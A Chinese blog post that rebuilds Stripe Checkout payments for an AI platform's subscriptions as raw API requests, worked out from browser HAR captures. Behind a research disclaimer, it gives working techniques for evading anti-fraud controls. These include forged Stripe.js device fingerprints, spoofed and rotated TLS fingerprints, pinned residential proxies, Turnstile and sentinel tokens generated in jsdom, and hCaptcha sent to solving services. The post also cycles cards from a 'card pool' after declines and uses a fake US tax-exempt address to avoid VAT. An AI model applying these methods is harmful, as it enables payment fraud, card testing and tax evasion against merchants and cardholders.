支付安全 on 逍遥笔记

Stripe 协议支付自动化深度拆解：从 HAR 抓包到纯 API 全链路实现

Sun, 16 Aug 2026 22:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术学习。文中描述的技术手段仅用于分析 Stripe 支付协议的工作原理，帮助支付系统开发者理解安全边界。请勿将相关技术用于任何未授权的操作。

前言

做过 SaaS 订阅的人都知道，Stripe 是全球最主流的支付处理商。几乎所有主流 AI 平台——从对话类到图像类——都用 Stripe 处理信用卡支付。

但很少有人去研究 Stripe Checkout 背后的协议细节。大多数人的认知停留在"调一下 API、跳个 Checkout 页面、信用卡扣完款就行了"。

实际上，Stripe 的 Checkout Session 协议远比你想象的复杂。从 checkout_ui_mode 的 custom 与 hosted 两种模式，到 ConfirmationToken 的创建机制，再到 PaymentIntent 的 requires_action 状态下 3DS 验证挑战的处理——每一步都有大量的协议细节、反欺诈检测和时序要求。

今天我把这些全拆开。从 HAR 抓包出发，逐层剖析 Stripe 协议支付的完整链路，并提供 5 套不同技术栈的实现源码。

零、方法论：如何逆向 Stripe 支付协议

在开始之前，先讲方法论。所有协议支付的起点都是 HAR 抓包。

0.1 什么是 HAR 文件

HAR（HTTP Archive）是浏览器开发者工具导出的完整 HTTP 交互记录。包含每个请求的 URL、Headers、Body、Response，以及精确的时序信息。

打开 Chrome DevTools → Network → 完成一次真实支付 → 右键 → Save all as HAR with content。

这个 HAR 文件就是你的 ground truth。所有协议支付的字段、值、顺序、编码方式，都以 HAR 为准。代码实现、第三方文档、安全审计报告——全部都可能过时或有误，只有 HAR 是当时浏览器真实发出的请求。

0.2 HAR 分析流程

筛选关键域名：api.stripe.com、m.stripe.com、checkout.stripe.com、平台 API 域名
按时间排序：找出完整的请求链路
对比成功和失败：同一流程的成功 HAR 和失败 HAR，diff 出关键差异
提取稳定字段：跨多个 HAR 都一致的值可以硬编码
标记动态字段：每次不同的值（Session ID、Token、时间戳）需要运行时获取

0.3 经过验证的 HAR 请求链路

通过分析多个成功支付的 HAR 文件，提取出标准的浏览器 Checkout 请求序列：

1. POST /api/v1/payments/checkout → 创建 session (oaics_xxx)
2. GET stripe/v1/elements/sessions → 获取 Elements 配置 (deferred_intent)
3. POST /api/v1/payments/checkout/taxes → 税务重算 (US免税地址可消除VAT)
4. GET stripe/v1/elements/sessions → 更新后的 amount
5. POST stripe/v1/confirmation_tokens → 卡号 → ctoken_xxx
6. POST /api/v1/payments/checkout/confirm → 平台确认 → pi_xxx client_secret
7. POST stripe/v1/payment_intents/{pi}/confirm → Stripe 侧扣款
8. GET /checkout/verify → redirect_status=succeeded

每一步都有大量细节。下面逐一拆解。

一、为什么要做"协议支付"

先搞清楚一个概念：什么是协议支付（Protocol Payment）？

浏览器支付：用户打开 Stripe Checkout 页面 → 手动填写信用卡号 → 点击支付 → 完成。这是正常流程。

协议支付：用纯 HTTP API 请求模拟浏览器的完整操作链路，包括 Stripe 的内部 API（不是官方 SDK 暴露的那些），直接在协议层完成支付，不需要浏览器。

为什么要这么做？

自动化需求：批量管理订阅时，手动操作不现实
性能需求：浏览器（Puppeteer/Playwright）启动慢、占内存大、不稳定；协议支付 <5s 完成
环境隔离：服务端运行，不需要 GUI 环境
学习价值：深入理解支付系统的工作原理

二、Stripe Checkout Session 的两种模式

Stripe Checkout 有两种 checkout_ui_mode，这是整个协议支付的第一个分叉点：

2.1 Custom 模式 (`oaics_` 前缀)

POST /payments/checkout
{
 "checkout_ui_mode": "custom",
 "currency": "PHP",
 "plan_type": "plus"
}
→ {"checkout_session_id": "oaics_xxx", "stripe_publishable_key": "pk_live_..."}

Custom 模式返回的 Session ID 以 oaics_ 开头。这种模式下：

前端需要自己挂载 Stripe Elements
通过 Stripe.js 创建 ConfirmationToken
调用平台的 confirm 接口完成支付
直接在 Stripe API 上确认 PaymentIntent

2.2 Hosted 模式 (`cs_live_` 前缀)

POST /payments/checkout
{
 "checkout_ui_mode": "hosted",
 "currency": "PHP",
 "plan_type": "plus"
}
→ {"checkout_session_id": "cs_live_xxx", "url": "https://checkout.stripe.com/..."}

Hosted 模式返回 cs_live_ 前缀的 Session。这种模式下：

Stripe 托管整个 Checkout 页面
走 Stripe Payment Page 的内部协议
流程更复杂，涉及 ppage_ 初始化、elements Session、inline_confirm
需要额外处理平台侧的 approve 操作

两种模式的选择取决于平台的 billing 配置和你的需求。一般来说：

如果平台的计费货币与你的信用卡货币一致 → Custom 模式更简单
如果存在货币不匹配（比如用美元卡付菲律宾比索订阅）→ 可能只有 Hosted 模式可用

2.3 决定性参数：`checkout_ui_mode`

通过大量测试验证，决定返回 oaics_ 还是 cs_live_ 的唯一参数就是 checkout_ui_mode。

// 返回 oaics_ 的请求
{
 "entry_point": "all_plans_pricing_modal",
 "plan_name": "basic_plan",
 "billing_details": {"country": "PH", "currency": "PHP"},
 "checkout_ui_mode": "custom"
}

// 返回 cs_live_ 的请求
{
 "plan_name": "basic_plan",
 "billing_details": {"country": "PH", "currency": "PHP"},
 "checkout_ui_mode": "hosted",
 "cancel_url": "https://platform.example.com/#pricing",
 "locale": "zh-CN"
}

注意差异：

entry_point：Custom 模式有，Hosted 模式没有
cancel_url：Hosted 模式需要（Stripe 托管页面的返回按钮用）
locale：Hosted 模式建议传（影响 Stripe 页面语言）

Hosted 模式的响应多一个 url 字段——这是 Stripe 托管页面的完整 URL，可以直接在浏览器中打开。

2.4 `_stripe_version` 的版本差异

这是一个极其容易忽略的细节。两种模式使用不同的 _stripe_version：

模式	`_stripe_version` 值
Custom (oaics_)	`2025-03-31.basil`
Hosted (cs_live_)	`2025-03-31.basil; checkout_server_update_beta=v1; checkout_manual_approval_preview=v1`

Hosted 模式的版本串后面带了两个 beta flag。如果在 cs_live_ 请求中用了 Custom 的短版本串，Stripe 会返回字段缺失或行为不一致。

2.5 两种模式的完整字段对比

字段	Custom (oaics_)	Hosted (cs_live_)
确认端点	`payment_intents/{pi}/confirm`	`payment_pages/{cs_live}/confirm`
顶层 `source`	`elements`	`checkout`
顶层 `version`	`2021`	`custom`
`selection_flow`	`merchant_specified`	`automatic`
`elements_session_client`	无	有（8 个子字段）
`elements_options_client`	无	有（2 个子字段）
`link_brand`	无	`link`
`checkout_config_id`	无	有（两层不同值）
hCaptcha 位置	`pmd[radar_options][hcaptcha_token]`	`passive_captcha_token`（顶层）
`init_checksum`	无	有
`js_checksum`	无	有
`rv_timestamp`	无	有
`expected_amount`	无	有

这两套字段集完全不能混用。这也是很多人协议支付做不通的原因——用了 oaics_ 的字段去调 cs_live_ 的接口，反过来也一样。

三、Custom 模式协议流程详解

Custom 模式是最干净的协议支付路径。完整流程 8 步：

┌──────────────────────────────────────┐
│ 1. 刷新 Session（获取最新 Token） │
│ 2. 查询账号信息（确认当前订阅状态） │
│ 3. 获取定价信息（币种+金额） │
│ 4. 创建 Checkout Session │
│ 5. 更新税务信息（Billing 地址） │
│ 6. 创建 ConfirmationToken（卡号→Token）│
│ 7. 确认支付（Confirm Checkout） │
│ 8. 确认 PaymentIntent（Stripe 侧） │
└──────────────────────────────────────┘

3.1 创建 ConfirmationToken

这是协议支付最核心的一步。浏览器里，Stripe.js 会在 iframe 中收集卡号，然后调用 Stripe 的内部 API 创建一个 ConfirmationToken（ctoken_ 前缀）。

协议支付需要直接模拟这个请求：

POST https://api.stripe.com/v1/confirmation_tokens
Content-Type: application/x-www-form-urlencoded

type=card
&payment_method_data[type]=card
&payment_method_data[card][number]=4242424242424242
&payment_method_data[card][exp_month]=12
&payment_method_data[card][exp_year]=2029
&payment_method_data[card][cvc]=123
&payment_method_data[billing_details][name]=John Doe
&payment_method_data[billing_details][address][country]=US
&payment_method_data[billing_details][address][postal_code]=97201
&key=pk_live_xxx
&_stripe_version=2025-03-31.basil

几个关键细节：

key 必须是平台的 Stripe Publishable Key，不是你自己的
_stripe_version 必须匹配当前 Stripe.js 的 API 版本
需要传 Stripe.js 的指纹参数：guid、muid、sid、time_on_page
Referer 必须是平台域名，Stripe 会校验

卡号格式细节

HAR 验证发现，浏览器发送的卡号带空格（4004 1641 0185 9397），而不是纯数字。不过 Stripe 接受两种格式。

guid/muid/sid 格式

这三个指纹 ID 的格式比很多人以为的更复杂。HAR 验证的正确格式是 42 字符：

guid = randomUUID() + randomHex(6)
 = xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx + 6位hex
 = 36字符UUID + 6字符 = 42字符

例如：a1b2c3d4-e5f6-4789-abcd-ef0123456789abc123

有些实现用 32 位纯 hex 也能工作，但 HAR 中浏览器发送的是 42 字符格式。

Attribution 元数据（两层结构）

confirmation_tokens 请求中有一组 client_attribution_metadata 字段，这些是 Stripe 用来追踪支付集成来源的元数据：

payment_user_agent = stripe.js/...
client_session_id = <UUID> # 每 session 唯一
merchant_integration_source = elements # ← oaics_ 固定 "elements"
merchant_integration_version = 2021
merchant_integration_subtype = payment-element
payment_intent_creation_flow = deferred
payment_method_selection_flow = merchant_specified # ← oaics_ 固定
additional_elements = [expressCheckout, payment, address]

这些字段在 confirmation_tokens 请求中出现两次——一次在 payment_method_data 内部，一次在顶层。两层的值大部分相同，但 merchant_integration_source 在 confirm 请求中变成 l1。这个细节从 HAR 中才能发现。

请求头

HAR 中 Stripe API 请求的完整请求头：

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Origin: https://js.stripe.com
Referer: https://js.stripe.com/
Sec-CH-UA: "Not=A?Brand";v="99", "Chromium";v="151"
Sec-CH-UA-Mobile: ?0
Sec-CH-UA-Platform: "Windows"
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9

注意 Accept-Language 必须存在。这是纯协议支付跑通的关键 bug 之一——缺少这个 header 会导致 Stripe 返回非预期的响应格式。

返回值：

{
 "id": "ctoken_1xxx",
 "type": "card",
 "payment_method_preview": {
 "card": {
 "brand": "visa",
 "last4": "4242"
 }
 }
}

3.2 确认 Checkout

拿到 ConfirmationToken 后，调用平台的 confirm 接口：

POST /api/v1/payments/checkout/confirm
{
 "checkout_session_id": "oaics_xxx",
 "confirmation_token": "ctoken_1xxx"
}

这一步平台会拿着你的 token 去 Stripe 创建 PaymentIntent 并尝试扣款。

如果一切顺利（卡余额充足、无 3DS 要求），PaymentIntent 直接变成 succeeded，订阅激活。

如果遇到 3DS 验证，流程会更复杂——我们在第五节讲。

3.3 Elements Session — 获取支付配置

在创建 ConfirmationToken 之前，需要先调用 Stripe 的 elements/sessions API 获取支付配置信息。这一步在 HAR 中被调用两次——一次在税务更新前，一次在税务更新后。

GET https://api.stripe.com/v1/elements/sessions?deferred_intent[mode]=subscription
 &deferred_intent[amount]=98214
 &deferred_intent[currency]=php
 &deferred_intent[setup_future_usage]=off_session
 &deferred_intent[payment_method_types][0]=card
 &type=deferred_intent
 &key=pk_live_xxx
 &_stripe_version=2025-03-31.basil

关键返回值：

elements_session_id：elements_session_xxx，后续 confirm 请求需要
customer_session_client_secret：cuss_xxx，客户会话密钥
payment_method_configuration：pmc_xxx，支付方式配置 ID

3.4 税务地址优化 — US 免税地址消除 VAT

这是一个实际操作中极其重要的技巧。

很多 SaaS 平台默认按账号注册地收税。比如菲律宾区的订阅，标价 ₱982.14 但实际会加 12% VAT 变成 ₱1,100+。

解决方案：在 taxes API 调用中使用美国免税州地址。

POST /api/v1/payments/checkout/taxes
{
 "checkout_session_id": "oaics_xxx",
 "billing_details": {
 "name": "John Doe",
 "address": {
 "country": "US",
 "state": "OR",
 "city": "Portland",
 "postal_code": "97201",
 "line1": "123 Main St"
 }
 }
}

美国有 5 个无销售税的州：

Oregon (OR) — 无销售税
Montana (MT) — 无销售税
Delaware (DE) — 无销售税
New Hampshire (NH) — 无销售税
Alaska (AK) — 大部分地区无销售税

HAR 验证：使用 US 地址后 tax=0，最终金额保持 ₱982.14。

重要：taxes 和后续 confirmation_tokens 中的地址必须一致。同一个 session 内选择一个地址后全程复用。

3.5 PaymentIntent 确认 — Stripe 侧扣款

平台的 /confirm 返回 client_secret（格式：pi_xxx_secret_xxx）后，需要调用 Stripe 的 payment_intents/confirm 完成实际扣款：

POST https://api.stripe.com/v1/payment_intents/{pi_id}/confirm

return_url = https://platform.example.com/checkout/verify?stripe_session_id=oaics_xxx
confirmation_token = ctoken_xxx
key = pk_live_xxx
_stripe_version = 2025-03-31.basil
client_secret = pi_xxx_secret_xxx
client_attribution_metadata[client_session_id] = <UUID>
client_attribution_metadata[merchant_integration_source] = l1

注意这里 merchant_integration_source 变成了 l1，不再是 elements。

PI 拒卡重试

HAR 验证了一个重要特性：同一个 PaymentIntent 被拒卡后可以用新的 ConfirmationToken 重试。

流程：

第一张卡 → generic_decline → PI 状态 requires_payment_method
创建新的 confirmation_token（用另一张卡）
再次调用 payment_intents/confirm
第二张卡 → succeeded

这意味着拒卡不需要重建整个 Checkout Session，只需要换卡重建 token。

协议支付需要严格的 Cookie 隔离。一个常见的 bug 是平台的 Cookie 被发送到 Stripe API，或反过来。

最佳实践：使用两个独立的 HTTP 客户端：

# 平台客户端 — 带 Cookie（session token）
platform_http = HttpClient(cookies_enabled=True)
platform_http.set_cookie("__Secure-platform-auth", session_token)

# Stripe 客户端 — 不带 Cookie
stripe_http = HttpClient(cookies_enabled=False)

绝不让 Stripe 客户端发送平台 Cookie，也不要让平台客户端发送 Stripe 的 Cookie。

四、Hosted 模式协议流程详解

Hosted 模式（cs_live_）的流程更复杂，因为需要模拟 Stripe Payment Page 的完整内部协议。

┌────────────────────────────────────────────────┐
│ 1. 创建 Checkout (hosted) → cs_live_ session │
│ 2. 更新税务 │
│ 3. 分配信用卡 │
│ 4. 初始化 Payment Page → ppage_ token │
│ 5. 获取 Elements Session │
│ 6. 创建 ConfirmationToken │
│ 7. 确认 Checkout (内部 confirm) │
│ 8. 平台 Approve 操作 │
│ 9. 轮询 PaymentIntent 状态 │
│ 10. 处理 3DS Challenge（如果需要） │
│ 11. 验证最终状态 │
└────────────────────────────────────────────────┘

4.1 Payment Page 初始化

GET https://checkout.stripe.com/api/payment-page/{cs_live_xxx}/init
→ {"ppage_token": "ppage_xxx", "merchant_name": "..."}

这是 Hosted 模式独有的。返回一个 ppage_ token，后续所有 Stripe Payment Page API 都需要这个 token。

4.2 Elements Session（Hosted 模式特殊字段）

Hosted 模式的 elements/sessions 请求比 Custom 模式多出很多字段：

POST https://api.stripe.com/v1/elements/sessions

deferred_intent[mode] = subscription
deferred_intent[amount] = 98214
deferred_intent[currency] = php
deferred_intent[setup_future_usage] = off_session
deferred_intent[payment_method_types][0] = card
deferred_intent[payment_method_configuration][id] = pmc_xxx
currency = php
elements_init_source = custom_checkout
referrer_host = platform.example.com
stripe_js_id = <UUID>
locale = zh
type = deferred_intent
checkout_session_id = cs_live_xxx
_stripe_version = 2025-03-31.basil; checkout_server_update_beta=v1; ...

关键差异：

需要传 checkout_session_id（Custom 模式不需要）
elements_init_source 是 custom_checkout（不是 elements）
需要传 referrer_host、stripe_js_id、locale
使用长版本的 _stripe_version

返回值中有一个重要字段 passive_captcha.rqdata——这是 hCaptcha Enterprise 的 rqdata，后续 confirm 如果触发 challenge 需要用到。

4.3 Hosted 模式的 Confirm 请求

cs_live_ 的 confirm 走的是 payment_pages/confirm，不是 payment_intents/confirm：

POST https://api.stripe.com/v1/payment_pages/{cs_live_xxx}/confirm

这个请求的 body 字段比 Custom 模式多很多：

elements_session_client[client_betas][0] = custom_checkout_server_updates_1
elements_session_client[client_betas][1] = custom_checkout_manual_approval_1
elements_session_client[elements_init_source] = custom_checkout
elements_session_client[referrer_host] = platform.example.com
elements_session_client[session_id] = elements_session_xxx
elements_session_client[stripe_js_id] = <UUID>
elements_session_client[locale] = zh
elements_session_client[is_aggregation_expected] = false
elements_options_client[saved_payment_method][enable_save] = auto
elements_options_client[saved_payment_method][enable_redisplay] = auto
init_checksum = <checksum>
js_checksum = <checksum>
rv_timestamp = <timestamp>
expected_amount = 98214
expected_payment_method_type = card
version = <build_hash>

js_checksum 和 rv_timestamp 是从 Stripe.js 部署状态动态提取的，init_checksum 来自 init 响应。

4.4 Approve 机制与 Sentinel Token

Hosted 模式下，payment_pages/confirm 成功后，状态不会直接变成 succeeded，而是进入 requires_approval（HAR 中 confirm 返回 status=open）。这时需要调用平台的 approve 接口：

POST /api/v1/payments/checkout/approve
Authorization: Bearer {access_token}
X-Vendor-Challenge-Token: {sentinel_token}

Sentinel Token 结构

这里的 challenge_token 是一个编码后的 JSON 对象，内部包含多个通过算力证明（PoW）和 Turnstile 验证生成的字段：

{
 "p": "gAAAAAB...", // 主负载（加密后的 PoW + session 信息）
 "c": "...", // enforcement_token（基于 FNV-1a 的算力证明结果）
 "id": "<UUID>", // 一次性标识
 "flow": "platform_checkout", // 标记来源流程
 "t": "<turnstile_dx_token>" // 4000+ 字符的 Turnstile 验证 token
}

t 字段是核心——如果为空字符串，approve 立即返回 blocked。它来自 Cloudflare Turnstile 的隐式挑战验证（不是肉眼可见的验证码）。

Sentinel Token 生成流程

完整的 Sentinel 生成需要两个组件协作：

1. 生成 requirements_token（本地 seed + difficulty "0"）
2. POST sentinel.platform.com/backend-api/sentinel/req
 → 返回 {turnstile: {dx: "..."}, ...}
3. 用 server seed 生成 enforcement_token（FNV-1a 算力证明）
4. 在 Node.js VM 中执行 Turnstile SDK（需要 jsdom 模拟 DOM 环境）
 → 返回 turnstile token（~4388 字符）
5. 组装 JSON → Base64 → 设为请求头

关键点：

PoW 使用 FNV-1a 哈希算法，difficulty 对 checkout 流程通常是 “0”（即几乎不需要算力）
Turnstile SDK 必须在真实的 DOM 环境中执行——简单的字符串拼接无法通过验证
实际生产中需要 Node.js + jsdom 来执行官方 Turnstile VM
SDK 代码需要定期更新（随平台版本迭代）

Approve 的正确时机

关键发现：Approve 不应该主动调用。正确的流程是 fall-through：

confirm → status=open, requires_approval
 ↓
 等待 Stripe 回调
 ↓
 平台自动完成 approve（不需要客户端调）
 ↓
 poll payment_page → PI 出现
 ↓
 可能 requires_action → verify_challenge
 ↓
 poll 到 succeeded → 完成

但某些边缘情况下（平台回调未触发），客户端需要手动 approve。此时 Sentinel token 是必须的。

Approve 是一次性操作，同一 session 不可重复
如果 t 字段为空或格式错误 → 返回 blocked → session 作废
成功的 approve 返回 {"result":"approved"}

五、3DS 验证挑战

当 Stripe 判断交易需要额外验证时，PaymentIntent 会进入 requires_action 状态，附带 3DS challenge 信息。

5.1 Challenge 类型

Stripe 使用 hCaptcha Enterprise 作为 3DS 验证手段：

{
 "status": "requires_action",
 "next_action": {
 "type": "verify_with_challenge",
 "verify_with_challenge": {
 "url": "https://challenges.stripe.com/...",
 "challenge_type": "hcaptcha"
 }
 }
}

5.2 verify_challenge 完整请求格式

HAR 中验证的 verify_challenge 完整请求：

POST https://api.stripe.com/v1/payment_intents/{pi_id}/verify_challenge

captcha_response = {hcaptcha_token} # P0开头的长字符串
captcha_vendor_name = hcaptcha # 固定值
captcha_sitekey = xxxxxxxx-xxxx-xxxx # Stripe 的 hCaptcha sitekey
expected_amount = 98214 # 交易金额
expected_currency = php # 币种
key = pk_live_xxx # Publishable Key
_stripe_version = 2025-03-31.basil; checkout_server_update_beta=v1; ...
client_secret = pi_xxx_secret_xxx # PI 的 client_secret

注意：

字段名是 captcha_response 而不是 challenge_response
需要同时传 captcha_vendor_name 和 captcha_sitekey
需要传 expected_amount/expected_currency 做一致性校验
使用长版本 _stripe_version（与 Hosted 模式一致）

5.3 hCaptcha Enterprise 的特殊性

Stripe 使用的不是普通 hCaptcha，而是 hCaptcha Enterprise。区别：

有 rqdata 参数：普通 hCaptcha 不需要 rqdata，Enterprise 必须传
sitekey 是 Stripe 专有的：从 elements/sessions 响应的 passive_captcha 字段中提取
invisible 模式：浏览器里看不到验证码图片，但后台在做风控评估

# 从 elements_session 响应中提取
rqdata = elements_session["passive_captcha"]["rqdata"]
sitekey = elements_session["passive_captcha"]["sitekey"]

5.4 时效性问题

hCaptcha token 有时效性——浏览器里 ~4 秒解出即有效，但远程打码服务可能需要 30-120 秒。如果超时：

verify_challenge 返回 payment_intent_authentication_failure
但 PI 状态仍然是 requires_action——可以重新 verify_challenge

解决方案分级：

最优：本地 headless 浏览器解 hCaptcha（<5s，成功率 95%+）
次优：支持 Enterprise rqdata 的快速打码 API（如 YesCaptcha，~15s）
兜底：如果 PI 已经进入 requires_action，可以循环重试 verify_challenge（每次用新 captcha token）

5.5 3DS vs hCaptcha 的区别

重要澄清：Stripe 的 verify_with_challenge 并非传统银行 3DS 验证（3D Secure）。它是 Stripe 自有的风控挑战，使用 hCaptcha 作为人机验证手段。

真正的银行 3DS（如 Visa Secure）会打开银行页面要求输入 OTP/密码，这个在纯协议支付中无法绕过——但使用虚拟信用卡（VCC）通常不会触发银行 3DS，只会触发 Stripe 自身的 hCaptcha challenge。

六、TLS 指纹对抗

纯 HTTP 请求最大的挑战不是协议逻辑，而是 TLS 指纹。

Stripe 和 Cloudflare 都会检查 TLS Client Hello 的指纹（JA3/JA4），如果发现你的 TLS 握手特征不像浏览器，直接返回 403/429。

6.1 指纹伪装

Python 项目使用 curl_cffi 库，支持模拟多种浏览器的 TLS 指纹：

PROFILES = [
 ("chrome131", "Mozilla/5.0 ... Chrome/131.0"),
 ("chrome124", "Mozilla/5.0 ... Chrome/124.0"),
 ("safari18", "Mozilla/5.0 ... Safari/605.1"),
 ("firefox117", "Mozilla/5.0 ... Firefox/117.0"),
]

Node.js 项目使用 CycleTLS：

import initCycleTLS from 'cycletls';
const cycleTLS = await initCycleTLS();
const response = await cycleTLS(url, {
 ja3: '771,4865-4866-4867...',
 userAgent: 'Mozilla/5.0 ...'
});

6.2 指纹轮换策略

当遇到 403/429 时，自动切换到下一个 TLS 指纹配置：

class TLSFingerprintManager:
 def rotate_on_failure(self):
 self.exclude_current()
 return self.pick_next()

最多重试 3 次，每次使用不同的浏览器指纹。

6.3 TLS 指纹与 User-Agent 一致性

一个常见错误是 TLS 指纹和 User-Agent 不匹配。比如用 Chrome 131 的 TLS 指纹配置但 User-Agent 写的是 Chrome 124，Cloudflare 的 bot detection 会立即发现这种不一致。

正确做法：TLS profile 和 UA 必须成对配置：

PROFILES = [
 {
 "tls": "chrome131",
 "ua": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/131.0.0.0 Safari/537.36",
 "sec_ch_ua": '"Not=A?Brand";v="99", "Chromium";v="131"'
 },
 {
 "tls": "safari18",
 "ua": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) ... Safari/605.1.15",
 "sec_ch_ua": None # Safari 不发 sec-ch-ua
 }
]

6.4 HTTP 协议版本

另一个细节：Stripe 的 API 请求在浏览器中走 HTTP/2，但 payment_intents/confirm 在某些实现中用 HTTP/1.1 反而更稳定。

HAR 中观察到：

confirmation_tokens：HTTP/2
payment_intents/confirm：可以 HTTP/1.1
payment_pages/confirm：HTTP/2

使用 curl_cffi 时默认走 HTTP/2（如果服务端支持），CycleTLS 需要在选项中显式指定。

七、Stripe.js 指纹参数

Stripe 的 confirmation_tokens 和 payment_intents/confirm 接口都需要一组指纹参数。这些参数由 Stripe.js 在前端收集，协议支付需要正确模拟：

参数	含义	生成方式
`guid`	全局唯一 ID	UUID + 6位 hex = 42 字符（见 3.1 节）
`muid`	设备 ID	同 guid 格式，42 字符
`sid`	会话 ID	同 guid 格式，42 字符
`time_on_page`	页面停留时间	随机 8-30 秒（模拟真实用户）
`key`	Publishable Key	从 Checkout Session 获取
`_stripe_version`	API 版本	从 Stripe.js 的 basil 部署中提取

7.1 m.stripe.com/6 — 指纹注册

在所有业务请求之前，Stripe.js 会向 m.stripe.com/6 发送 4 次 POST 请求注册设备指纹。HAR 中的完整调用链：

POST https://m.stripe.com/6 (×4)

每次请求的 body 是 application/x-www-form-urlencoded，包含：

v2 = 1
id = <stripe_js_id> # 与 confirmation_tokens 中的 guid 不同
tag = <event_tag>
src = js
a = <JSON编码的分析数据>

tag 的值依次为：

stripejs-init-started
stripejs-init-complete
adyen-component-loaded（如果有 Adyen）
payment-element-mounted

a 字段包含浏览器环境的详细指纹数据（屏幕尺寸、时区、语言、plugin 列表等）。

实际影响：不发这些请求也能支付成功，但长期使用同一个 guid/muid 而从未注册过指纹可能触发 Stripe Radar 的异常检测。建议至少发一次 stripejs-init-complete。

7.2 r.stripe.com/b — 遥测上报

Stripe.js 还会持续向 r.stripe.com/b 发送遥测数据：

POST https://r.stripe.com/b
Content-Type: text/plain

{JSON payload}

这个请求的 payload 是 JSON（不是 form-urlencoded），包含支付流程中的各种事件指标（加载时间、渲染时间、错误数）。

{
 "type": "measurement",
 "event_name": "paymentElement.mount",
 "metrics": {"duration": 342},
 "client_session_id": "<UUID>",
 "publish_key": "pk_live_xxx"
}

实际影响：纯可选。不发不影响支付成功。但如果你的实现在生产中运行，偶尔发几次遥测可以让你的流量看起来更像真实浏览器。

7.3 动态提取 Stripe.js 版本

Stripe.js 的版本（_stripe_version）和构建哈希（rv/sv）不是固定的，需要从 Stripe 的部署状态接口动态提取：

// 获取当前 Stripe.js 部署信息
const status = await fetch('https://js.stripe.com/deploy_status_henson.json');
const { basil } = await status.json();
// basil.rv = "2025-03-31" → _stripe_version = "2025-03-31.basil"

Custom 模式只需要基础版本：2025-03-31.basil

Hosted 模式需要追加 beta flags：

2025-03-31.basil; checkout_server_update_beta=v1; custom_checkout_beta=v1; ...

这些 beta flags 从 deploy_status_henson.json 的 metadata 或 checkout 页面的初始化脚本中提取。Stripe 大约每 1-2 周更新一次部署版本。

7.4 js_checksum 和 rv_timestamp

Hosted 模式的 payment_pages/confirm 需要两个动态校验值：

js_checksum：当前 Stripe.js bundle 的 SHA 校验和，从 deploy status 提取
rv_timestamp：当前 Stripe.js 的部署时间戳（Unix 毫秒），也从 deploy status 提取

这两个值随 Stripe.js 版本更新而变化。如果使用过期的 checksum/timestamp，confirm 可能会被静默拒绝。

deploy = requests.get("https://js.stripe.com/deploy_status_henson.json").json()
js_checksum = deploy["basil"]["js_checksum"]
rv_timestamp = deploy["basil"]["rv_timestamp"]

八、代理池架构

协议支付的另一个核心组件是代理池。Stripe 和平台都会检查请求的源 IP，用数据中心 IP 直连容易被标记。

8.1 双代理池

最佳实践是使用两个独立的代理池：

平台代理池：用于访问 SaaS 平台的 API（需要与账号注册地匹配）
Stripe 代理池：用于访问 Stripe API（需要住宅 IP，避免被 Radar 标记）

8.2 代理健康检查

class ProxyVerifier:
 def verify(self, proxy_url: str, expected_country: str):
 resp = requests.get("https://ipapi.co/json/", proxies=proxy_url)
 actual = resp.json()["country_code"]
 if actual != expected_country:
 raise ProxyCountryMismatchError(expected_country, actual)

8.3 出口 IP 一致性

关键规则：创建 Checkout Session 和确认支付时，必须使用同一个出口 IP。Stripe 会比对两次请求的 IP，如果不一致会拒绝交易。

这意味着整个支付流程中的所有请求（从创建 session 到 confirm）必须绑定同一个代理出口。如果代理池做了负载均衡，需要在支付流程中"钉住"一个代理节点。

8.4 代理类型选择

代理类型	适用场景	风险
住宅代理（Residential）	Stripe API / 平台 API	最安全，IP 信誉高
ISP 代理（Static Residential）	长期固定使用	中等，某些已被标记
数据中心代理（Datacenter）	测试/开发	高风险，Stripe Radar 会标记
移动代理（Mobile）	高价值交易	最安全但最贵

生产环境建议住宅代理。数据中心 IP 在 Stripe 的风控系统中通常有较高的 risk score。

8.5 代理故障降级

代理不可用时的处理策略：

async def get_proxy_with_fallback(pool, country):
 proxy = await pool.acquire(country=country)
 if proxy:
 return proxy
 # 降级：尝试其他国家的代理
 proxy = await pool.acquire(country="US")
 if proxy:
 return proxy
 # 最终降级：直连（仅限测试环境）
 if config.allow_direct:
 return None
 raise NoProxyAvailableError()

注意：不要在生产环境用直连降级——数据中心 IP 直连 Stripe 几乎必被拒。

九、状态机设计

完整的协议支付需要处理多种失败场景和重试逻辑。最佳实践是使用状态机：

初始化 → 刷新Session → 检查权限 → 获取定价 → 创建Checkout
 ↓ ↓ ↓ ↓ ↓
 失败→退出 失败→退出 已有订阅→跳过 失败→退出 失败→退出
 ↓
 更新税务 → 创建Token → 确认支付
 ↓ ↓ ↓
 失败→退出 卡被拒→换卡 3DS→验证
 ↓
 成功 / 失败

每个状态转移都需要处理：

卡被拒（Card Declined）：分类拒绝原因（余额不足/CVV错误/风控拒绝），决定是换卡重试还是放弃
3DS 验证：进入 Challenge 流程
Session 过期：创建新 Session 重试
Rate Limiting：TLS 指纹轮换 + 退避重试

9.1 Decline 错误分类

Stripe 的卡拒绝错误不是一个笼统的"失败"，而是分为可重试和不可重试两类：

可重试（换卡后重试）：

generic_decline — 最常见，通常是风控拒绝，换卡几乎总能过
insufficient_funds — 余额不足，充值后或换卡可过
processing_error — Stripe 侧临时错误，直接重试

不可重试（放弃本次 session）：

stolen_card / lost_card — 卡已被标记，不能再用
card_not_supported — 卡类型不支持（如某些预付卡）
currency_not_supported — 卡不支持目标币种

需要特殊处理：

incorrect_cvc — CVC 错误，检查是否传错了
expired_card — 卡过期，需要从卡池中移除
card_velocity_exceeded — 卡的交易频率超限，冷却后可重试

9.2 Fast-Path 优化

一个重要的状态机优化：如果 PI 已经 succeeded，跳过 hCaptcha。

HAR 中发现，有时 confirm 返回 requires_action（hCaptcha challenge），但 PI 实际上已经扣款成功。这时如果盲目去解 captcha，反而可能出错。

正确做法是在收到 requires_action 后，先查询 PI 状态：

pi = stripe.get(f"/v1/payment_intents/{pi_id}", key=pk_live)
if pi["status"] == "succeeded":
 # 已经扣款成功，跳过 captcha
 return PaymentResult.SUCCESS
